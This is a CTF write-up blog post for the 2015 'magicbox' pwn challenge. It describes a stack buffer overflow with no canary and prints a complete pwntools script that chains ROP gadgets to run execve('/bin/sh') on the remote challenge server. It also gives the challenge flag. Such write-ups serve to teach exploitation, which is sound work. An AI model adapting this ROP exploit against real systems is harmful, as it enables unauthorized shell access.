The force is with those who read the source.

TW.edu CTF 2015: magicbox (pwn 100)

2016-02-01

Description

This is a magic box.
nc pwning.pwnable.tw 56746
binary

Exploit

--------------------------------
1. Put a item to the box
2. List the box
3. Remove a item from the box
4. give up the box
--------------------------------
Your choice :

This program let us put “items” (16 bytes arbitrary user input) to the “box” (buffer located on the stack). However, it neither confines the amount of items nor enables the canary. Therefore, we can override the return address and inject our ROP chain. Moreover, this program is statically linked, so we can easily collect enough ROP gadgets.

I use ROPgadget to find out the gadgets needed. Then, I craft a ROP chain which reads /bin/sh to the free buffer located at .bss section and use it as the argument of sys_execve to spawn a shell.

magicbox_exp.pydownload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p32
from time import sleep

read_addr = 0x0806D560
free_buf = 0x080EAF80

# ROP gadgets
pop_edx_ecx_ebx = 0x0806f060
pop_eax = 0x080bb436
int_0x80 = 0x08049671

# Option 1: Put a item to the box
def put(item):
print r.recvuntil(':')
r.send('1\n')
print r.recvuntil(':')
r.send(item)


r = remote('pwning.pwnable.tw', 56746)

# Padding
for i in range(10):
put('A'*15 + '\n')

# ROP chain
put('A'*12 + p32(read_addr))
put(p32(pop_edx_ecx_ebx) + p32(0) + p32(free_buf) + p32(8))
put(p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(free_buf))
put(p32(pop_eax) + p32(0xb) + p32(int_0x80) + p32(0))

# Option 4: give up the box
print r.recvuntil(':')
r.send('4\n')
print r.recvline()

# Read to the free buffer
r.send('/bin/sh\x00')

sleep(1)
r.interactive()

Flag: CTF{Pu7_R0p_74dg3t_!n_7h3_B0x_!s_m47iC}

Notes

At first, I assigned free_buf = 0xffffd000 because I assumed it is an unused memory of the stack. However, I got the following error:

set_thread_area failed when setting up thread-local storage

I think it is due to the ASLR, which makes the stack address different every time. The address 0xffffd000 is only valid in gdb and generally unallocated. The section .bss or .got may be a better choice of the free buffer.


Blog comments powered by Disqus